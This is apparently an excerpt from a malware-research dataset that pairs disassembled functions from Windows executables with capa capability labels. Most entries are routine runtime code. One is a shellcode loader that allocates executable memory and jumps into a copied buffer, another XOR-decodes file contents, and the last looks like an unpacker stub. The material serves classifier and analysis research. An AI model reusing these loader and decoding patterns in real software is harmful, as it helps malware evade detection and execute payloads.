joyce8/EMBER2024-capa huggingface dataset:
Function at 0x110170310
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov ebx, edx
mov rsi, rcx
cmp edx, 1
jne 0x110107871
call fcn.110130780
mov r8, rdi
mov edx, ebx
mov rcx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x110107894
push rbx
sub rsp, 0x20
mov rbx, r8
cmp edx, 1
jne 0x110107915
call fcn.110107b00
test eax, eax
je 0x1101078be
call fcn.11011a214
test eax, eax
jns 0x1101078c5
call fcn.11013abe8
call fcn.1101197f4
xor eax, eax
jmp 0x1101079c1
call fcn.1101308e4
mov qword [0x1101945a0], rax
call qword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_GetCommandLineA]
mov qword [sym.msvcrt.dll__acmdln], rax
call sub.api_ms_win_core_processenvironment_l1_1_0.dll_GetCommandLineW
mov qword [sym.msvcrt.dll__wcmdln], rax
call fcn.110120aa0
call fcn.11013c020
test eax, eax
js 0x11010790e
xor ecx, ecx
call fcn.11013a224
test eax, eax
jne 0x11010790e
inc dword [0x11019459c]
jmp 0x1101079bc
call fcn.11011a4b0
jmp 0x1101078b4
test edx, edx
jne 0x110107953
mov eax, dword [0x11019459c]
test eax, eax
jle 0x1101078be
dec eax
cmp dword [0x110194d1c], edx
mov dword [0x11019459c], eax
jne 0x110107938
call sym.msvcrt.dll__cexit
call fcn.11013a15c
test rbx, rbx
jne 0x1101079bc
call fcn.11011a4b0
call fcn.11013abe8
call fcn.1101197f4
jmp 0x1101079bc
cmp edx, 2
jne 0x1101079b0
call sym.msvcrt.dll__CrtDbgReport
mov ecx, dword [0x110190c30]
call qword [sym.imp.api_ms_win_core_fibers_l1_1_0.dll_FlsGetValue]
test rax, rax
jne 0x1101079bc
mov edx, 0x2d8
lea ecx, [rax + 1]
call fcn.110119e8c
mov rbx, rax
test rax, rax
je 0x1101078be
mov ecx, dword [0x110190c30]
mov rdx, rax
call qword [sym.imp.api_ms_win_core_fibers_l1_1_0.dll_FlsSetValue]
mov rcx, rbx
test eax, eax
je 0x1101079a6
xor edx, edx
call fcn.11013aa90
jmp 0x1101079bc
call sym.msvcrt.dll_free
jmp 0x1101078be
cmp edx, 3
jne 0x1101079bc
xor ecx, ecx
call fcn.11013a99c
mov eax, 1
add rsp, 0x20
pop rbx
ret
cmp dword [rsp + 8], 1
jne 0x110170330
push 0
push 0
push 0x77bf387e
push 0x778c0bd0
push 0
push 0
mov eax, 0x778c0f10
call rax
jmp 0x110107850
Function at 0x180004cd0
Capabilities:
Read file on windows

Disassembly:
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x18003b0c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea r8, [0x1800284c0]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.180011b68
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x180004d1b
cmp qword [rsp + 0x38], 0
jne 0x180004d22
xor eax, eax
jmp 0x180004e05
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.180012b78
mov rcx, qword [rsp + 0x38]
call fcn.18001323c
cdqe
mov rcx, qword [rsp + 0x68]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.180012b78
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.1800118ac
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x180004d82
mov rcx, qword [rsp + 0x38]
call fcn.180011ce4
xor eax, eax
jmp 0x180004e05
mov r9, qword [rsp + 0x38]
mov rax, qword [rsp + 0x68]
mov r8, qword [rax]
mov edx, 1
mov rcx, qword [rsp + 0x28]
call fcn.180012770
mov rcx, qword [rsp + 0x38]
call fcn.180011ce4
nop
mov qword [rsp + 0x20], 0
jmp 0x180004dc1
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x68]
mov rax, qword [rax]
cmp qword [rsp + 0x20], rax
jae 0x180004e00
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x180004db4
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18000bd30
add rsp, 0x58
ret
Function at 0x1800085f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180008623
xor eax, eax
jmp 0x1800086fb
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x180008650
xor eax, eax
jmp 0x1800086fb
mov rax, qword [rsp + 8]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 8]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x10], rax
mov dword [rsp], 0
jmp 0x180008679
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
movzx eax, word [rax + 6]
cmp dword [rsp], eax
jge 0x1800086f9
movsxd rax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40]
sub rax, rcx
movzx edx, byte [rcx]
cmp dl, byte [rcx + rax]
jne 0x1800086b5
inc rcx
test dl, dl
jne 0x1800086a2
xor eax, eax
jmp 0x1800086ba
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800086f4
movsxd rax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x10]
mov eax, dword [rdx + rax + 8]
mov dword [rcx], eax
movsxd rax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
jmp 0x1800086fb
jmp 0x180008671
xor eax, eax
add rsp, 0x28
ret

Function at 0x180008730
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [0x18003b0c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov eax, 0x6e
mov word [rsp + 0x60], ax
mov eax, 0x74
mov word [rsp + 0x62], ax
mov eax, 0x64
mov word [rsp + 0x64], ax
mov eax, 0x6c
mov word [rsp + 0x66], ax
mov eax, 0x6c
mov word [rsp + 0x68], ax
mov eax, 0x2e
mov word [rsp + 0x6a], ax
mov eax, 0x64
mov word [rsp + 0x6c], ax
mov eax, 0x6c
mov word [rsp + 0x6e], ax
mov eax, 0x6c
mov word [rsp + 0x70], ax
xor eax, eax
mov word [rsp + 0x72], ax
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x40], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x34], 0x3000
mov dword [rsp + 0x30], 0x40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, dword [rsp + 0x30]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x34]
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0x58]
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [rsp + 0x48]
mov dword [rsp + 0x38], eax
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xa8]
rep movsb byte [rdi], byte [rsi]
call qword [rsp + 0x50]
nop
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.18000bd30
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x1800096c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x18003b0c0]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x80], 0
jg 0x1800096f4
xor eax, eax
jmp 0x1800098a1
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x18000971c
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.1800098c0
jmp 0x1800098a1
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x70]
call fcn.1800058d0
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x1800097b9
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.180002770
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x70]
call fcn.180007720
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.180006e40
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
call fcn.180007630
nop
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x180009891
mov rcx, qword [rsp + 0x70]
call fcn.1800060d0
mov qword [rsp + 0x38], 0xfff
cmp qword [rsp + 0x40], 0xfff
jbe 0x180009859
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.180012770
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x28], 0xfff
je 0x180009857
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x1800098a1
jmp 0x1800097df
cmp qword [rsp + 0x40], 0
jbe 0x180009891
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.180012770
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.18000bd30
add rsp, 0x68
ret
Function at 0x180012fbc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18000c0e0
sub rsp, rax
mov rax, qword [0x18003b0c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180019c0c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18001300b
mov rax, rbp
jmp 0x180013113
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x3d4c0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18001bcc8
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x3d4c0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18001310f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001310f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18001bcc8
test rax, rax
js 0x18001310f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18001310f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180013101
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180013101
cmp byte [rcx], 0xd
jne 0x1800130e7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800130f6
cmp byte [rcx + 1], 0xa
jne 0x1800130f6
inc rcx
jmp 0x1800130f6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x3b4e0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1800130c9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180013113
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18000bd30
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180015054
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1800150c3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800150c3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1800150c3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1800150c3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1800150c3
cmp dword [rcx + 0x84], 0xe
jbe 0x1800150c3
cmp dword [rcx + 0xf8], 0
je 0x1800150c3
mov ecx, ebx
call fcn.180015174
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180014f50
nop
cmp dword [rbp + 0x20], 0
je 0x180015111
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18001511c
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x180015054
Function at 0x18001af20
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18001af36
mov al, 1
jmp 0x18001af96
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18001af47
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18001af94
mov ecx, dword [rcx + 0x18]
nop
call fcn.180022790
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18001af94
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18001af94
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18001af94
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18001af96
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x18001b068
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x18003d4c0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18001b0bf
cmp word [rdx], r13w
jne 0x18001b0bf
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18001b0c4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x18001b1e9
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18001b20a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18001b0fd
mov rdx, r9
mov word [rbx], cx
jmp 0x18001b124
cmp r9, r8
jae 0x18001b134
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18001b0de
jmp 0x18001b1e9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001b1de
cmp dword [rsp + 0x80], esi
je 0x18001b1de
lea r8, [0x18003d4c0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18001b1b6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18001b186
mov word [rbx], r13w
jmp 0x18001b1e6
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18001b193
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18001b1e6
cmp word [rsp + 0x70], r13w
jne 0x18001b1c3
cmp rbx, r14
je 0x18001b180
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18001bcd0
cmp word [rsp + 0x70], r13w
je 0x18001b1e9
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x18003d4c0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18001b1e3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x18001b1e9
Function at 0x18001f458
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001f488
xor eax, eax
jmp 0x18001f54b
mov rbp, rbx
cmp word [rax], si
je 0x18001f4ad
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001f494
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001f490
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18001db40
movsxd r14, eax
test eax, eax
jne 0x18001f4eb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001f481
mov rcx, r14
call fcn.1800189a8
mov rdi, rax
test rax, rax
jne 0x18001f504
xor ecx, ecx
call fcn.18001896c
jmp 0x18001f4e0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18001db40
test eax, eax
jne 0x18001f535
mov rcx, rdi
call fcn.18001896c
jmp 0x18001f53f
xor ecx, ecx
call fcn.18001896c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180021d9c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180016ba8
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x180021e3d
cmp ebx, dword [rsp + 0x30]
je 0x180021e36
test esi, esi
je 0x180021e36
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180021e11
sub r8w, 0x61
cmp r8w, 0x19
ja 0x180021e1e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x180021dfb
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x180021e22
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x180021e3f
mov eax, 1
jmp 0x180021e3f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180024a24
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18001bcd0
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18001bcd0
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180024b74
cmp rax, 0xffffffffffffffff
je 0x180024b74
xor edi, edi
test rbp, rbp
jle 0x180024b1f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180018a08
mov rbx, rax
test rax, rax
jne 0x180024aac
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x180024b15
mov edx, 0x8000
mov ecx, r14d
call fcn.1800248a8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18001a9b8
cmp eax, 0xffffffff
je 0x180024af5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180024abc
mov edx, r15d
mov ecx, r14d
call fcn.1800248a8
jmp 0x180024b15
cmp byte [rsi + 0x38], dil
je 0x180024b0c
cmp dword [rsi + 0x34], 5
jne 0x180024b0c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x180024b15
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18001896c
jmp 0x180024b88
jns 0x180024b88
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18001bcd0
cmp rax, 0xffffffffffffffff
jne 0x180024b40
cmp byte [rsi + 0x30], dil
je 0x180024b88
mov edi, dword [rsi + 0x2c]
jmp 0x180024b88
mov ecx, r14d
call fcn.180022790
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180024b88
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180024b88
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180024b81
mov eax, dword [rsi + 0x2c]
jmp 0x180024b86
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18001bcd0
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180025a00
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180025a28
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180025a28
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140015fd0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140015fdd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140015fed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140015fd5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140016005
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140015ff2
sub eax, 3
jb 0x14001601f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140016056
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140016046
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140016044
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140016033
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140015f92
jmp 0x140015fdd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x8400
mov dl, 5
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400160a2
cmp rsi, rcx
jae 0x1400160aa
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140016089
cmp al, 0x8f
ja 0x140016089
cmp byte [rsi - 2], 0xf
je 0x14001608f
sub al, 0xe8
cmp al, 1
ja 0x140016073
cmp rsi, rcx
jae 0x1400160aa
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140016079
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400160aa
lodsb al, byte [rsi]
jmp 0x140016089
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x12000]
mov eax, dword [rdi]
or eax, eax
je 0x140016107
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x161dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400160b7
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140016101
mov qword [rbx], rax
add rbx, 8
jmp 0x1400160d7
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140016141
cmp al, 0xef
ja 0x140016133
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140016113
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140016122
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
